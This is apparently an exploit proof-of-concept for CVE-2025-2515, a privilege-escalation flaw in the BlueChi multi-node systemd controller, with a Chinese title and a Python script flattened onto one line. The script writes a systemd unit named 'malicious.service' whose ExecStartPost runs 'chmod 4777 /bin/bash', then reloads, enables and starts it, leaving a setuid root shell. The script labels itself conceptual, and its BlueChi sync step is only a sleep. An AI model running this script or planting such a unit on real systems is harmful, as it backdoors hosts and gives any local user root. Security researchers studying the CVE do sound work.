CVE-2025-2515 BlueChi多节点systemd服务控制器权限提升漏洞

# CVE-2025-2515 BlueChi Privilege Escalation PoC # This PoC demonstrates the concept of privilege escalation via BlueChi # Note: This is a conceptual PoC for educational purposes only import subprocess import os import time def create_malicious_unit_file(): """ Create a malicious systemd unit file on the managed node (qm) that will be applied to the host node via BlueChi """ malicious_unit = """[Unit] Description=Malicious Service After=network.target [Service] Type=oneshot ExecStart=/bin/bash -c 'echo malicious_code_executed >> /tmp/pwned' ExecStartPost=/bin/bash -c 'chmod 4777 /bin/bash' RemainAfterExit=yes [Install] WantedBy=multi-user.target """ # Path where the unit file can be placed unit_path = "/etc/systemd/system/malicious.service" try: with open(unit_path, 'w') as f: f.write(malicious_unit) print(f"[+] Malicious unit file created at {unit_path}") return True except PermissionError: print("[-] Permission denied - need root privileges on qm node") return False def trigger_bluechi_sync(): """ Trigger BlueChi to sync the unit file to the host node This simulates the BlueChi mechanism that causes the vulnerability """ print("[*] Waiting for BlueChi sync mechanism...") time.sleep(5) # In a real attack, this would involve exploiting BlueChi API # or waiting for automatic sync interval try: # Reload systemd to pick up the new unit subprocess.run(['systemctl', 'daemon-reload'], check=True) print("[+] Systemd daemon reloaded") return True except Exception as e: print(f"[-] Error: {e}") return False def escalate_privilege(): """ Enable and start the malicious service to execute privilege escalation """ service_name = "malicious.service" try: subprocess.run(['systemctl', 'enable', service_name], check=True) subprocess.run(['systemctl', 'start', service_name], check=True) print(f"[+] {service_name} enabled and started") return True except Exception as e: print(f"[-] Failed to start service: {e}") return False def main(): print("=== CVE-2025-2515 BlueChi Privilege Escalation PoC ===") print("[*] This PoC requires:") print(" 1. Root access on a managed node (qm)") print(" 2. BlueChi multi-node setup") print(" 3. Network connectivity to host node") print() if create_malicious_unit_file(): if trigger_bluechi_sync(): escalate_privilege() print("[+] Attack completed - check /tmp/pwned and /bin/bash permissions") if __name__ == "__main__": main()